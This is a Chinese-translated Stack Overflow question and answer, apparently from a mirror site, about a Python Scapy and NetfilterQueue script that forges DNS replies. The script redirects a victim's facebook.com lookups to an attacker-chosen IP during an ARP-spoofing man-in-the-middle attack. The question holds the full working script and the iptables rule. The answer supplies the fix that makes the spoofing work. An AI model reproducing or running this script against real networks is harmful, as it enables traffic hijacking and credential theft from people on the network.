首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Python dns欺骗不工作nome未解决

Python dns欺骗不工作nome未解决
EN

Stack Overflow用户
提问于 2018-11-11 12:54:09
回答 1查看 445关注 0票数 3

我不知道为什么mi脚本不起作用,受害者浏览器显示: ERR: named not resolved。

我的脚本

代码语言:javascript
复制
from scapy.all import *
from netfilterqueue import NetfilterQueue

spoofDomain = 'www.facebook.com'
spoofResolvedIp = '172.16.16.162'
queueId = 1

def dnsSpoof(packet):
        originalPayload = IP( packet.get_payload() )

        if not originalPayload.haslayer(DNSQR):
                # Not a dns query, accept and go on
                packet.accept()
        else:
                if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):
                        print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()

                        # Build the spoofed response
                        spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/\
                          UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/\
                          DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,\
                          an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))

                        print "Spoofing DNS response to: " + spoofedPayload.summary()
                        packet.set_payload(str(spoofedPayload))
                        packet.accept()
                        print "------------------------------------------"
                else:
                        # DNS query but not for target spoofDomain, accept and go on
                        packet.accept()

# bind the callback function to the queue
nfqueue = NetfilterQueue()
nfqueue.bind(queueId, dnsSpoof)

# wait for packets
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

我使用iptables -t mangle -I -p udp -j NFQUEUE --queue-NUM1命令。

首先,我通过ARP缓存欺骗执行中间人攻击。我使用wireshark查看流量,它似乎还可以,我不知道发生了什么。

EN

回答 1

Stack Overflow用户

发布于 2018-11-16 11:06:34

我解决了这个问题,我在寻找问题,我看不到,对不起

代码语言:javascript
复制
if not originalPayload.haslayer(DNSQR)

DNSQR是dns查询,我想获取dns答案,所以代码是:

代码语言:javascript
复制
if not originalPayload.haslayer(DNSRR)
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/53245958

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档